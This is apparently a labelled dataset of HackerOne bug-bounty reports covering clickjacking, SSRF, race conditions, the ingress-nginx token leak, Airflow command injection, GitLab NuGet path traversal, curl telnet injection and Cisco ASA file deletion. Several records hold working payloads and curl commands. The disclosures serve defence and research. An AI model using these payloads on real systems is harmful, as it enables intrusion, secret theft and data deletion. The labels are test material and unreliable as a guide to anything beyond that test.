+{"id": "184b3b881a74c9628d1f", "text": "[Unknown] Clickjacking\n\n##Summary\n\nClickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.\n\nWebsites are at risk of a clickjacking attack when they allow content to be embedded within a frame.\n\nAn attacker may use this risk to invisibly load the target website into their own site and trick users into clicking on links which they never intended to. An \"X-Frame-Options\" header should be sent by the server to either deny framing of content, only allow it from the same origin or allow it from a trusted URIs.\n\n\n##Proof of concept code :- \n\nCopy the above code and paste it in notepad and save it with .html extention\nand open it in browser\n\n```\n<html> \n<head> \n<title>Clickjack test page</title> \n</head> \n<body> \n<p>Website is vulnerable to clickjacking!</p>\n\n<iframe src=\"https://app.outpost.co/settings/preferences\"  sandbox=\"allow-top-navigation allow-same-origin allow-scripts\" width=\"500\" height=\"500\"></iframe> \n\n</body> \n</html>\n```\n\nCopy and paste above given code and  save it with hack.html and  open it in browser\n\n\n\n\n##Recommendation :- \n\nAdd X-FRAME-OPTIONS header to mitigate the issue\n\n## Impact\n\nIt allows remote attackers to do some clickjacking which can be used for adding arbitrary tasks . Why? Almost all of your page has missing X-FRAME-OPTIONS header.\n\n\n##Thanks", "source": "hackerone", "timestamp": "2022-01-17", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "420017f965511c57c32d", "text": "[Server-Side Request Forgery (SSRF)] Blind SSRF External Interaction on ████████\n\nHii Security Team,\n\nI am S █████(Metaxone Certified Ethical Hacker) and a Security Researcher I just checked your website and found Blind SSRF External Interaction on ██████████\n\nWhat is SSRF?\nServer-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.\nIn typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.\nSSRF attacks often exploit trust relationships to escalate an attack from the vulnerable application and perform unauthorized actions. These trust relationships might exist in relation to the server itself, or in relation to other back-end systems within the same organization.\n\nSteps to reproduce:-\n\n1.Navigate to the website █████\n2.Now you can see at bottom on the right there is chat box or messanger box.\n3.Click on it and paste the Burp Collaborator URL { Example : In this scenario the URL belike ██████ } and click on send\n4.Now we will get HTTP and DNS interaction in Burp Collab and In HTTP requesting it is fetching the file ( test.png ) it means it is vulnerable to Blind SSRF\n\nReferences:- Similar report which is reported by another researcher ███████\n\n## Impact\n\nImpact:--\nThis Vulnerability can lead to Attack Surface Analysis is about mapping out what parts of a system need to be reviewed and tested for security vulnerabilities.\nThe attacker can fetch malicious files which can infect the server\nThis will allow attackers to gain access to an internal IP of a website along with other sensitive information that may be leaked with the request\n\nPOC Attached Below :-", "source": "hackerone", "timestamp": "2022-08-21", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "89188dfe7452394d027f", "text": "[Time-of-check Time-of-use (TOCTOU) Race Condition] Promotion code can be used more than redemption limit.\n\n## Summary:\nWhile creating a promotion code a user can specify number of times that code can be redeemed.(i.e. Redemption limit)\n{F1962666}\nCodes aren't supposed to be redeemed more than the redemption limit.\nBut there exists a race condition that allows use of promotion codes more than redemption limit.\n{F1962665}\n\n## Steps To Reproduce:\n[In these steps i have used just a browser to show how easy this is to exploit and even a person with very limited knowledge on technology can exploit this. This can certainly be scaled using burp and other software .]\n\n1. As a merchant create a promotion code with Redemption limit 1.\n{F1962664}\n2. As a user, Visit any two payment links of same merchant with the coupon.\n3. In both payment links, Fill the form and apply coupon but don't hit Pay/ Subscribe.\n4.Hit both link's pay/subscribe button as fast as you can.\n5. Both payment will be successful using one coupon two times.\n\n## Supporting Material/References:\nI have added a video poc.\nIn this poc, I have used a promotion code with redemption limit 2.\nI have also used laptops screentouch feature to click both link's pay/subscribe button as fast as I could.\n{F1962525}\n\n## Impact\n\nPromotion code can be used more than redemption limit.", "source": "hackerone", "timestamp": "2023-02-13", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "8583d4ed7b70bafb9ce0", "text": "[Privilege Escalation] Ingress-nginx path allows retrieval of ingress-nginx serviceaccount token\n\nReport Submission Form\n\n## Summary:\nA user with the permissions to create an ingress resource can obtain the ingress-nginx service account token which can list secrets is all namespaces (cluster wide).\n\n## Kubernetes Version:\n1.20 (should work on (1.21 as well)\n\n## Component Version:\nnginx ingress controller v1.0.4\n\n## Steps To Reproduce:\nI deployed the latest ingress-controller (v1.0.4).\nI used a user (gaf_test) that has the permissions to get, create and update ingress resources\n(the “get” permissions is only to allow kubectl to view the newly created resource).\n\ningress-creator-role.yaml\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: ingress-creator\n  namespace: default\nrules:\n- apiGroups: [\"networking.k8s.io\"]\n  resources: [\"ingresses\"]\n  verbs: [\"get\", \"create\", \"update\"]\n```\n\ningress-creator-role-binding.yaml\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: gaf_test-ingress-creator-binding\n  namespace: default\nsubjects:\n- kind: User\n  name: gaf_test\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: Role\n  name: ingress-creator\n  apiGroup: rbac.authorization.k8s.io\n```\n\nThis user (gaf_user) cannot list secrets at all.\n{F1495367}\n \nUse this user (gaf_user) to create a new ingress resource in the default namespace.\n\ningress.yaml\n```yaml\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: gaf-ingress\n  annotations:\n    kubernetes.io/ingress.class: \"nginx\"\nspec:\n  rules:\n  -  http:\n      paths:\n        - path: /gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa\n          pathType: Prefix\n          backend:\n            service:\n              name: some-service\n              port:\n                number: 5678\n```\n```\nkubectl apply -f ingress.yaml\n```\n{F1495369}\n \n\nAccess to nginx ingress loadbalancer to /gaf/token path.\n\nhttps://<host>/gaf/token\n\n {F1495370}\n\nDecode the token to see it belongs to the ingress-nginx\n{F1495372}\n \nThe nginx-ingress service account is bound to the nginx-ingress cluser role that can list secrets in all namespaces.\n\n## The Root Cause\nWhen a user creates an ingress resource, the new configuration is updated in the /etc/nginx/nginx.conf file in the ingress-nginx-controller pod located in the nginx-ingress namespace.\nI caused a “config file injection” using the following payload as path:\n\n**/gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa**\nThe payload above creates the following configuration for nginx:\n\n/etc/nginx/nginx.conf\n\n{F1495371} \n\nThis is the relevant part from the configuration which creates a new route to /gaf path and uses an alias (http://nginx.org/en/docs/http/ngx_http_core_module.html#alias)\nthat maps to /var/run/secrets/kubernetes.io/serviceaccount/ directory on the ingress-nginx-controller pod.\n\n## Impact\n\nA user with the permissions to create an ingress resource can obtain the ingress-nginx service account token which can list secrets is all namespaces (cluster wide).", "source": "hackerone", "timestamp": "2022-08-06", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "64ad8a084d1e09a93a78", "text": "[Violation of Secure Design Principles] [U.S. Air Force] Information disclosure due unauthenticated access to APIs and system browser functions\n\n**Description:**\nMultiple information exposure vulnerabilites were identified in a Jira Server instance (unauthenticated access to APIs and system browser functions). This report describes a combination of two separate vulnerabilities in two separate services This chain of vulnerabilities allows unauthenticated attacker to run arbitrary code on a server inside the company's internal network. the vulnerable registered as references [JRASERVER-73060](https://jira.atlassian.com/browse/JRASERVER-73060)\n\n## References\nhttps://jira.atlassian.com/browse/JRASERVER-73060\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14179\n\n## Impact\n\nUnauthorised access and the data should not be visible.\nProject categories, resolutions, and usernames are listed even if the API is not authenticated\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\nhttps://██████/rest/menu/latest/admin\n\n## CVE Numbers\nCVE-2020-14179\n\n## Steps to Reproduce\n1. Navigate visit the target scope is https://████//rest/menu/latest/admin\n 1. And now we found a directory is jira sensitive\n 1. You can used recon-tool for finding sensitive directory\n 1. Lets send a curl request to the **`?maxResults=1000`** endpoint, as shown below. In the request, point the post request to the server address you want to send the request to:\n\nHere's the HTTP Parameter request that the issue:\n```\nGET /rest/api/2/projectCategory?maxResults=1000 HTTP/1.1\nHost: ████████\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\nsec-ch-ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"96\", \"Google Chrome\";v=\"96\"\nAccept: application/json, text/plain, */*\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nsec-ch-ua-platform: \"Mac OS\"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nAccept-Language: en-US,en;q=0.9,fi;q=0.8\n```\n```js\n{\n      \"self\":\"https://█████/rest/api/2/projectCategory/10000\",\n      \"id\":\"10000\",\n      \"description\":\"Used by the broader DoD/IC for collaborative development.\",\n      \"name\":\"Community Collaboration\"\n   }\n][\n   {\n      \"key\":\"admin\",\n      \"link\":\"https://█████████/secure/project/BrowseProjects.jspa?s=view_projects\",\n      \"label\":\"Jira administration\",\n      \"tooltip\":\"\",\n      \"local\":true,\n      \"self\":true,\n      \"applicationType\":\"jira\"\n   },\n   {\n      \"key\":\"admin\",\n      \"link\":\"https://████████/admin/console.action\",\n      \"label\":\"Confluence administration\",\n      \"tooltip\":\"\",\n      \"local\":false,\n      \"self\":false,\n      \"applicationType\":\"confluence\"\n   }\n```\n * https://█████/rest/menu/latest/admin?maxResults=1000\n * https://██████/rest/api/2/projectCategory?maxResults=1000\n * https://███/rest/api/2/resolution?maxResults=1000\n\n## Suggested Mitigation/Remediation Actions\nAnonymous access to endpoints listed below is restricted starting Jira 9.0. On future Jira 8.x releases and all LTS releases it is possible to restrict anonymous access with feature flags. On Jira 8.x to restrict anonymous access to the endpoint you need to disable feature flag aka provide `<feature.flag>`.disabled On Jira 9.0 you need to enable the same feature flag aka provide `<feature.flag>`.enabled\n\n>\nYou can use given feature flags: \n`/rest/api/2/projectCategory` - (Anonymous access disabled completely) \n`/rest/api/2/resolution` - (Anonymous access blocked only when there is no projects available for anonymous users) \n`/rest/menu/latest/admin` - There is currently no feature flag to disable anonymous access, please check linked ticket in \"duplicates by\" to track this problem.", "source": "hackerone", "timestamp": "2023-01-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "9166cf28a4b49e78be2c", "text": "[Improper Certificate Validation] CVE-2023-28321: IDN wildcard match\n\nOriginal Report:https://hackerone.com/reports/1950627\n\n## Impact\n\nImproper Validation of Certificate with Host Mismatch.", "source": "hackerone", "timestamp": "2023-06-25", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e3f8e2c201dad8887ef8", "text": "[Code Injection] CVE-2022-40127: RCE in Apache Airflow <2.4.0 bash example\n\nairflow-2.3.3/airflow/example_dags/example_bash_operator.py has a command injection vulnerability.\nI can control the run_id in the following code(example_bash_operator.py),So I can inject custom commands.\n```\n    also_run_this = BashOperator(\n        task_id='also_run_this',\n        bash_command='echo \"run_id={{ run_id }} | dag_run={{ dag_run }}\"',\n    )\n```\nEnter the DAGs menu and start example_bash_operator task, select “Trigger DAG w/ config”.Set the run_id to \" `touch /tmp/success` \" and trigger.\n\n{F2036322}\n\n## Impact\n\nExecute any OS command", "source": "hackerone", "timestamp": "2023-01-05", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "d5c89f9858502f8db30c", "text": "[Open Redirect] Open redirect by the parameter redirectUri in the URL\n\nThe following URL is vulnerable to an open redirect (it will redirect to google.com)\nhttps://www.blackrock.com/authplatform/user/activate-success?redirectUri=https://google.com\nAfter clicking on \"return to site\" it will be redirected to the page\n\n\nSteps To Reproduce:\n\n\nEnter on this link https://www.blackrock.com/authplatform/user/activate-success?redirectUri=https://google.com\nRedirected to https://google.com\n\n## Impact\n\nPhishing attacks to redirect users to malicious sites without realizing it", "source": "hackerone", "timestamp": "2022-04-21", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "999cf5b398c8fd999b1b", "text": "[Unknown] Arbitrary file read in Rocket.Chat-Desktop\n\n**Description:** Rocket.Chat-Desktop is vulnerable to arbitrary file read.\n\n## Releases Affected:\n\n  * Rocket.Chat-Desktop-Client: < v3.0.0-develop\n\n## Steps To Reproduce (by setting up a malicious server):\n\n1. Go to `Administration » Layout » Custom Scripts » Custom Script for Logged In Users`\n1. Insert the following script `window.open('file://c:/windows/system32/drivers/etc/hosts').eval('alert(document.body.innerText);');`\n1. Click `Save changes`\n1. Open Rocket.Chat-Desktop and connect to the server\n1. A new window and an alert containing the contents of `c:/windows/system32/drivers/etc/hosts` will pop up.\n\n## Suggested mitigation\n\n  * Set `popups` to `false` [[`src » component » electron » WebViewComponent.js (line 16)`](https://github.com/RocketChat/Rocket.Chat.Electron/blob/develop/src/components/electron/WebViewComponent.js)].\n\n## Impact\n\nArbitrary file read in Rocket.Chat-Desktop", "source": "hackerone", "timestamp": "2022-02-06", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "7eb1468b340859393e63", "text": "[Improper Access Control - Generic] Leaks of username and password leads to CVE-2018-18862 exploitation\n\nHi DoD Team, \nI hope you are doing good today.\n\nThis is a follow-up from my  November 15th 2022 report number #1775217 (https://hackerone.com/reports/1775217)\nIn all respect and to be clear, I don't want to push too hard or be annoying on this and feel free to tell me if you don't want or need to take action on this.\n\nSince my report #1775217 was left un-answered I felt I should open a new one since I feel this is serious matter.\n\n>>Recap of my last report : \n>>On November 15th 2022: I opened a report describing how I've found a set of credential publicly exposed from an ITSM system indexed in search engines.\n>> On November 16th 2022 :I had a reply telling me that the credentials were valid but didn't have any rights on the system so there was no impact.\n>> On November 17th2022 :  I had found another set of credentials exposed and I was able to successfully exploit CVE-2018-18862 from this.\n>>This was left un-answered.\n>>On February 12th 2023: The website was down and I left my report as such.\n>>See : https://hackerone.com/reports/1775217 for all the details.\n\n\nToday, to my surprise and while doing other searches I stumbled accross this website again.\nI would like to reiterate the following : \n\n\n>Today, May 16th 2023, the set of Credentials I had found at the time are still working :\n>>**Username:** ████\n>>**Password:** ███\n\n>>**Username:** ████████\n>>**Password:** ██████████\n\nSee screenshot 3, taken on May 16th 2023, the \"█████████\" credentials are still exposed.\n█████\n\nHere is the login page : https://████████/███████/shared/login.jsp\n \nToday, May 16th 2023, I can still successfully exploit **CVE-2018-18862 - Incorrect access control**.\n\nI decided to re-open the report for the following reasons : \n-I thought about it a long time, since on my prior report I didn't have any reply after the successful CVE exploitation and the new set of credentials found I judged it was worth having a 2nd look.\n-Also, I thought the system was down but today I found out it was not.\n\n\nIn all good faith.\nBest regards.\n\n\n~pll25\n\n\n## References\nhttps://nvd.nist.gov/vuln/detail/CVE-2018-18862\n\n## Impact\n\n-An attacker can access the system with the rights of these users.\n-I was able to list Roles. \n-I am potentially able to create/read reports and probably do more but I stopped there because the POC is already proven.\n-2 sets of credentials including valid username and passwords were leaked from this system on November 15th 2022.\n\n## System Host(s)\nhttps://███████\n\n## Affected Product(s) and Version(s)\nBMC Remedy version unknown\n\n## CVE Numbers\nCVE-2018-18862 - (CVSS V3.0 Score : 8.8 (HIGH), Vector: /AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\n## Steps to Reproduce\n**Step 1:** \nLet's say we use the account \"██████████\". \nLogin with the username and password on this page : https://██████/███/shared/login.jsp \n(ScreenShot 1 from November 15th describes how I was able to obtain it).\n███\n\n**Step 2 :** \n You should land on an Error web page telling that the file doesn't exist.\nThe landing URL should look like this : \n>>███████/█████/forms/arpcp/**arpc:web:retirementsapplicationsubmission/default+administrator+view/$external%20report%20server%20url_glb$retirementapplication&rs:command=render&preportinstanceid=$536871212$&rs:format=pdf**\n\n**Step 3 :** \nHere we can exploit CVE-2018-18862 : replace all the text after : /forms/arpc/ (the part of the URL in bold above) with :\n>>/User/Default+Admin+View1/\n\n**Step 4:** \nYou will now have access to the whole Remedy ITSM system.\nFrom there you have successfully exploited CVE-2018-18862.\n\nI was able to list Roles. \nI am potentially able to create/read reports and probably do more but I stopped there because the POC is already proven.\n\n## Suggested Mitigation/Remediation Actions\n- Change affected passwords. \n- MIgrate the system to a new un-affected version.\n- Apply the vendor work-arounds if possible.", "source": "hackerone", "timestamp": "2023-06-02", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "4be7ddb3badea3303719", "text": "[Path Traversal] Path traversal in Nuget Package Registry\n\n### Summary\nThere's a path traversal issue in Nuget package registry which was released to GitLab-EE recently. The issue allows an attacker to create any file with an extension “.nupkg” in the filesystem. By combining the bug with a race condition in Gitaly which I used several times before (#762421, #732330). It could finally be used to read sensitive files in a GitLab instance.\n\nFor some context, a large part of the exploit were explained in #762421, the npm registry issue. Here I will focus on the simple path traversal part which makes a little bit difference.\n\nThe root cause of the path traversal lies at `ee/app/services/packages/nuget/metadata_extraction_service.rb`\n```\n      XPATHS = {                                                               \n        package_name: '//xmlns:package/xmlns:metadata/xmlns:id',               \n        package_version: '//xmlns:package/xmlns:metadata/xmlns:version'        \n      }.freeze \n...\n      def extract_metadata(file)                                               \n        doc = Nokogiri::XML(file)                                              \n                                                                               \n        XPATHS.map do |key, query|                                             \n          [key, doc.xpath(query).text]                                         \n        end.to_h \n```\nIt extracts the uploaded nupkg (which is in zip format) for the contained nuspec file (which is an XML). And then looks for attribute `id` and `version`. Then the extracted package_name(id), and package_version(version) will be concatenated into a new filename in `ee/app/services/packages/nuget/update_package_from_metadata_service.rb`\n```                                                                      \n        @package_file.transaction do                                           \n          @package_file.update!(                                               \n            file_name: package_filename,                                       \n            file: @package_file.file                                           \n          )      \n...\n      def package_filename                                                     \n        \"#{package_name.downcase}.#{package_version.downcase}.nupkg\"           \n      end    \n```\nSo my payload is:\n```                                                                  \n  <?xml version=\"1.0\" encoding=\"utf-8\"?>                                       \n  <package xmlns=\"http://schemas.microsoft.com/packaging/2013/05/nuspec.xsd\">  \n    <metadata>                                                                 \n      <id>DummyProject.DummyPackage</id>                                       \n      <version>../../../../../nyangawa</version>                                            \n    </metadata>                                                                \n  </package>                                                                   \n```\nname the file above as `dummy.nuspec` and zip it into `dummy.nupkg` and upload it through `PUT /api/v4/projects/#{id}/packages/nuget/` endpoint  will make GitLab to create a `nyangawa.nupkg` somewhere in the filesystem.\n\nThen I wrote a script (I used in #762421) to combine this issue and the race in Gitaly. I could finally read any file I want in my GitLab instance.\n\n### Steps to reproduce\n\n1. Download the attached exploit.tar.gz and extract it.\n2. Install some requirements by gem install faraday and gem install rubyzip\n3. Edit exp.rb to update some url and credentials\n4. Execute the exp.rb to watch the result of .gitlab_shell_secret of target GitLab instance.\n\n### Examples\n{F750878}\n\n#### Results of GitLab environment info\n```\nroot@localhost:/# gitlab-rake gitlab:env:info\n\nSystem information\nSystem:\t\t\nProxy:\t\tno\nCurrent User:\tgit\nUsing RVM:\tno\nRuby Version:\t2.6.5p114\nGem Version:\t2.7.10\nBundler Version:1.17.3\nRake Version:\t12.3.3\nRedis Version:\t5.0.7\nGit Version:\t2.24.1\nSidekiq Version:5.2.7\nGo Version:\tunknown\n\nGitLab information\nVersion:\t12.8.7-ee\nRevision", "source": "hackerone", "timestamp": "2022-06-07", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "3fce7bc2270783714438", "text": "[Uncontrolled Resource Consumption] Regular Expression Denial of Service vulnerability\n\n## Summary:\nThe vulnerability I have found is classified as a Regular Expression Denial of Service. While inspecting the source code file [RealtimeGQLSubscriptionAsync.js](https://www.redditstatic.com/desktop2x/RealtimeGQLSubscriptionAsync.226119a9ae841bb563eb.js) I came across the node_module subscriptions-transport-ws (See Screenshot 1). The search result of the [subscriptions-transport-ws package](https://www.npmjs.com/package/subscriptions-transport-ws)  on npmjs.com displayed a large deprecation warning at the top of the page (See Screenshot 2) so I decided to research further. The read-me file within the package [github repository](https://github.com/apollographql/subscriptions-transport-ws) states that the package has been largely unmaintained since 2018 and that users should migrate to graphql-ws (See Screenshot 3). Doing a [quick search in the issues tab](https://github.com/apollographql/subscriptions-transport-ws/issues?q=is%3Aissue+is%3Aclosed+vulnerability) for the keyword \"vulnerability\" I came across an issue where the github user PabloJomer pointed out that the package.json lists a vulnerable dependency called ws (See Screenshot 4) The vulnerable package is listed on the NIST National Vulnerability Database under [CVE-2021-32640](https://nvd.nist.gov/vuln/detail/CVE-2021-32640) with a Base Score of 5.3. Further details and a PoC can be found on the Snyk Vulnerability database located [here](https://security.snyk.io/vuln/SNYK-JS-WS-1296835) (See Screenshot 5).\n\nThe policy has some conflicting information so I wasn't exactly sure about what I should do about this vulnerability. The out-of-scope section states \"Previously known vulnerabilities without a working Proof of Concept\" but two sections later it is states to not attempt denial of services attacks. (See screenshot 5) The vulnerability I have found is a Regular expression denial of service but I am strictly forbidden from attempting any denial of service attacks. I believe I have clearly outlined the existence of a vulnerable dependency within you domain and if given the opportunity I could successfully execute the PoC vulnerability as described in the snyk link mentioned above.\n\n## Impact:\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\n\n## Supporting Material/References:\n[OWASP - Regular expression Denial of Service - ReDos](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n\n## Impact\n\nThe ReDos vulnerability can be used to take down your entire site.", "source": "hackerone", "timestamp": "2022-04-12", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "aeb644a587a07ec4675a", "text": "[Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)] CVE-2023-27533: Telnet option IAC injection\n\n## Summary:\n`CURLOPT_TELNETOPTIONS` allows setting various telnet options for telnet protocol. Due to missing encoding of \"Interpret as Command\" `IAC` (0xff) character, the attacker who can control these option values can escape out of the telnet subnegotiation and enter arbitrary TELNET commands (*) via the `CURLOPT_TELNETOPTIONS`  options. `TTYPE`, `XDISPLOC` and `NEW_ENV` options are affected.\n\n*) TELNET command refers to \"TELNET COMMAND STRUCTURE\" in RFC 854\n\n## Steps To Reproduce:\n\n  1. `curl --telnet-option NEW_ENV=a,b$(echo -ne \"\\xff\\xf0INJECTED\") telnet://server`\n\nWhen inspected with tcpdump:\n```\n20:57:34.454720 IP x.x.x.x.53864 > y.y.y.y.telnet: Flags [P.], seq 17:37, ack 22, win 2058, options [nop,nop,TS val 1459077881 ecr 3403052525], length 20 [telnet SB NEW-ENVIRON IS 0 0x61 0x1 0x62 SE]\n        0x0000:  4502 0048 0000 4000 4006 265a XXXX XXXX   E..H..@.@.&ZXXXX\n        0x0010:  YYYY YYYY d268 0017 12a4 daa2 6603 9cb6  YYYY.h......f...\n        0x0020:  8018 080a f840 0000 0101 080a 56f7 c2f9  .....@......V...\n        0x0030:  cad6 75ed fffa 2700 0061 0162 fff0 494e  ..u...'..a.b..IN\n        0x0040:  4a45 4354 4544 fff0                      JECTED..\n\n```\n\n## Remediation\n  - Double encode \"Interpret as Command\" (`IAC`) (0xff) if it is encountered when constructing the suboption data to be sent.\n\n## Supporting Material/References:\n *  RFC 854 - https://www.rfc-editor.org/rfc/rfc854\n\n## Impact\n\nAttacker being able to specify `TTYPE`, `XDISPLOC` or `NEW_ENV` values is able to inject unintended TELNET commands to the telnet connection. Depending on the use case of the telnet protocol, this may allow the attacker to inject commands or other controlling operations. The practical impact is context specific, but in worst case this could for example allow executing arbitrary OS commands on target system.", "source": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "02a4c35f270727ae2e44", "text": "[Integer Overflow] Integer overflow vulnerability\n\n## Summary:\nIn one of my previous reports i send parameter tampering report vulnerability. Then you asked me to send PoC and you just closed it, that's why i'm sending you this new report with exactly name of vulnerability. Integer Overflows are closely related to other conditions that occur when manipulating integers. An Integer Overflow is the condition that occurs when the result of an arithmetic operation, such as multiplication or addition, exceeds the maximum size of the integer type used to store it. When an integer overflow occurs, the interpreted value will appear to have “wrapped around” the maximum value and started again at the minimum value. For example, an 8-bit signed integer on most common computer architectures has a maximum value of 127 and a minimum value of -128. If a programmer stores the value 127 in such a variable and adds 1 to it, the result should be 128. However, this value exceeds the maximum for this integer type, so the interpreted value will “wrap around” and become -128. \n\nAttackers can use these conditions to influence the value of variables in ways that the programmer did not intend. The security impact depends on the actions taken based on those variables. Examples include, but are certainly not limited, to the following:\n\n    An integer overflow during a buffer length calculation can result in allocating a buffer that is too small to hold the data to be copied into it. A buffer overflow can result when the data is copied.\n\n    When calculating a purchase order total, an integer overflow could allow the total to shift from a positive value to a negative one. This would, in effect, give money to the customer in addition to their purchases, when the transaction is completed.\n\n    Withdrawing 1 dollar from an account with a balance of 0 could cause an integer underflow and yield a new balance of 4,294,967,295.\n\n    A very large positive number in a bank transfer could be cast as a signed integer by a back-end system. In such case, the interpreted value could become a negative number and reverse the flow of money - from a victim's account into the attacker's.\n\n## Steps To Reproduce:\nBeside card payment, you have option \"cache on delivery\" and there i found one mistake which gives me possibility to change price in last moment.. The moment when you actually should change quantity value is: \n\n\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nInteger overflow, quantity value manipulation leads to price manipulation..", "source": "hackerone", "timestamp": "2022-05-17", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "0c19a7714cb09c5f3cc8", "text": "[Information Exposure Through Sent Data] CVE-2022-27779: cookie for trailing dot TLD\n\n## Summary:\nIn CVE-2014-3620 curl prevents cookies from being set for Top Level Domains (TLDs). According to the advisory, curl's \"cookie parser has no Public Suffix awareness\", but it will \"reject TLDs from being allowed\". However, a cookie can still be set for a TLD + trailing dot. \n\nA trailing dot after a TLD is considered legal and curl will send the http://example.com. to http://example.com\n\n## Steps To Reproduce:\n1. Create an Apache file like the following\n````\n<?php\n\nheader(\"Set-Cookie: a=b; Domain=.me.\");\n````\n2. Now save the cookie to curl and see the cookie is set for .me. \n````\ncurl -c cookies.txt http://localtest.me./index.php\n````\ncookies.txt:\n````\n# Netscape HTTP Cookie File\n# https://curl.se/docs/http-cookies.html\n# This file was generated by libcurl! Edit at your own risk.\n\n.me.    TRUE    /       FALSE   0       a       b\n````\n3. Requests sent via curl to the domain with TLD + '.' will now contain the particular cookie.\n````\ncurl -b cookies.txt http://domain.me./index.php\n````\n````\nGET / HTTP/1.1\nHost: domain.me.\nUser-Agent: curl/7.83.0\nAccept: */*\nCookie: a=b\n````\n\n## Impact\n\nCookies can be set by arbitrary sites for TLD + \".\", and if a trailing dot is used for an unrelated site, curl will send the cookie to the unrelated site.", "source": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "227e56f57b5b59e4b489", "text": "[Path Traversal] CVE-2020-3187 - Unauthenticated Arbitrary File Deletion\n\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences.\n\nThe IP has a SSL certificate pointing to ████████\ncurl -kv https://███\n\noutput:\n```\nServer certificate:\n████\n```\n\n## Impact\n\nAn exploit could allow the attacker to view or delete arbitrary files on the targeted system. When the device is reloaded after exploitation of this vulnerability, any files that were deleted are restored. The attacker can only view and delete files within the web services file system. This file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability can not be used to obtain access to ASA or FTD system files or underlying operating system (OS) files. Reloading the affected device will restore all files within the web services file system.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-3187\n\n## Steps to Reproduce\n1.First I performed a curl request to validate that /session_password.html gave a 200 response.\ncurl -k -s -i https://████+CSCOE+/session_password.html\n2.Example to delete logo file \"/+CSCOU+/csco_logo.gif\".\ncurl -k -H \"Cookie: token=../+CSCOU+/csco_logo.gif\" https://█████████+CSCOE+/session_password.html\n\n_NOTE: No destructive behavior was performed on target, the above command will remove csco_logo.gif and can be restored on reboot of the device_\n\n## Suggested Mitigation/Remediation Actions\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-path-JE3azWw43", "source": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "within_source_cve_index", "label": 1}
